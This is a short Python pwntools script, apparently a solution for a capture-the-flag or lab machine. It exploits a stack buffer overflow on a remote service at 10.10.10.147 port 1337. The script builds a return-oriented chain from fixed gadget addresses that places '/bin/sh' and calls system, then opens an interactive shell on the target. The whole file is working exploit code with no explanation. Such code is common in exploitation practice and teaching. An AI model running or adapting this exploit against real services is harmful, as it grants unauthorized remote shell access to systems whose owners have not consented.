exploit.py

from pwn import *

context.arch = 'amd64'

offset = 120
system_call = p64(0x401040)
pop_r13 =  p64(0x401206)
mov_rdi_rsp = p64(0x401152)
shell = '/bin/sh\x00'
empty =p64(0x00)

buf = "A"*(offset-8)+shell # Offset + shell 
buf += pop_r13 # pop r13, r14, r15
buf += system_call # set r13 to system call
buf += empty # set r14 to null
buf += empty # set r15 to null
buf += mov_rdi_rsp # mov rdi, rsp


conn = remote('10.10.10.147', 1337)
conn.sendline(buf)
conn.interactive()